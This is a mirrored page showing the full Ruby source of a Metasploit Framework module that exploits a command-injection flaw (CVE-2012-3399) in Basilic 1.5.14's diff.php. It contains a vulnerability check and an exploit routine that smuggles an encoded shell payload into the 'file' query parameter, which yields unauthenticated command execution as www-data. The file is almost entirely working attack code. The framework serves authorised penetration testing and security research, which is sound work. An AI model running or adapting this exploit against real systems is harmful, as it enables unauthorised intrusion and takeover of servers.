Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/basilic_diff_exec.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Basilic 1.5.14 diff.php Arbitrary Command Execution',
16
'Description' => %q{
17
This module abuses a metacharacter injection vulnerability in the
18
diff.php script. This flaw allows an unauthenticated attacker to execute arbitrary
19
commands as the www-data user account.
20
},
21
'Author' => [
22
'lcashdollar',
23
'sinn3r',
24
'juan vazquez'
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2012-3399' ],
29
[ 'OSVDB', '83719' ],
30
[ 'BID', '54234' ]
31
],
32
'Platform' => %w{linux unix},
33
'Arch' => ARCH_CMD,
34
'Privileged' => true,
35
'Payload' => {
36
'DisableNops' => true,
37
'Compat' =>
38
{
39
'PayloadType' => 'cmd',
40
'RequiredCmd' => 'generic perl ruby python telnet'
41
}
42
},
43
'Targets' => [
44
[ 'Automatic Target', {}]
45
],
46
'DefaultTarget' => 0,
47
'DisclosureDate' => '2012-06-28',
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options(
57
[
58
OptString.new('TARGETURI', [true, 'The base path to Basilic', '/basilic-1.5.14/'])
59
]
60
)
61
end
62
63
def check
64
base = normalize_uri(target_uri.path)
65
66
sig = rand_text_alpha(10)
67
68
res = send_request_cgi({
69
'uri' => normalize_uri("/#{base}/Config/diff.php"),
70
'vars_get' => {
71
'file' => sig,
72
'new' => '1',
73
'old' => '2'
74
}
75
})
76
77
if res and res.code == 200 and res.body =~ /#{sig}/
78
return Exploit::CheckCode::Vulnerable
79
end
80
81
return Exploit::CheckCode::Safe
82
end
83
84
def exploit
85
print_status("Sending GET request...")
86
87
base = normalize_uri(target_uri.path)
88
89
res = send_request_cgi({
90
'uri' => normalize_uri("/#{base}/Config/diff.php"),
91
'vars_get' => {
92
'file' => "&#{payload.encoded} #",
93
'new' => '1',
94
'old' => '2'
95
}
96
})
97
98
if res and res.code == 404 then
99
print_error("404 Basilic not installed or possibly check URI Path.")
100
else
101
vprint_line("Server returned #{res.code}")
102
end
103
104
handler
105
end
106
end
107
108